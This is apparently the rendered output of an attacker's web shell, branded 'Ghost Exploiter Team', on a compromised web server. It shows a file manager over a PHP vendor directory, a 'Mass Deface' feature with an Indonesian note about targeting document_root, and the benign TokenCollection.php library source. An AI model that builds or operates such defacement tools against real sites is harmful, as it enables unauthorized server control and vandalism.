Ghost Exploiter Team Official
Mass Deface
Directory >>
/
var
/
www
/
html
/
back
/
vendor
/
theseer
/
tokenizer
/
src
/
Mass Deface Auto Detect Domain
/*Ubah Ke document_root untuk mass deface*/
File / Folder
Size
Action
.
-
type
file
dir
+File/Dir
Exception.php
0.1KB
edt
ren
NamespaceUri.php
0.581KB
edt
ren
NamespaceUriException.php
0.11KB
edt
ren
Token.php
0.629KB
edt
ren
TokenCollection.php
1.964KB
edt
ren
TokenCollectionExceptio
...
0.113KB
edt
ren
Tokenizer.php
3.568KB
edt
ren
XMLSerializer.php
2.146KB
edt
ren
<?php declare(strict_types = 1); namespace TheSeer\Tokenizer; use ArrayAccess; use ArrayIterator; use Countable; use Iterator; use IteratorAggregate; /** * @implements IteratorAggregate<int, Token> */ class TokenCollection implements IteratorAggregate, ArrayAccess, Countable { /** @var Token[] */ private $tokens = []; public function addToken(Token $token): void { $this->tokens[] = $token; } public function getIterator(): Iterator { return new ArrayIterator($this->tokens); } public function count(): int { return \count($this->tokens); } public function offsetExists($offset): bool { return isset($this->tokens[$offset]); } /** * @throws TokenCollectionException */ public function offsetGet($offset): Token { if (!$this->offsetExists($offset)) { throw new TokenCollectionException( \sprintf('No Token at offest %s', $offset) ); } return $this->tokens[$offset]; } /** * @param Token $value * * @throws TokenCollectionException */ public function offsetSet($offset, $value): void { if (!\is_int($offset)) { $type = \gettype($offset); throw new TokenCollectionException( \sprintf( 'Offset must be of type integer, %s given', $type === 'object' ? \get_class($value) : $type ) ); } if (!$value instanceof Token) { $type = \gettype($value); throw new TokenCollectionException( \sprintf( 'Value must be of type %s, %s given', Token::class, $type === 'object' ? \get_class($value) : $type ) ); } $this->tokens[$offset] = $value; } public function offsetUnset($offset): void { unset($this->tokens[$offset]); } }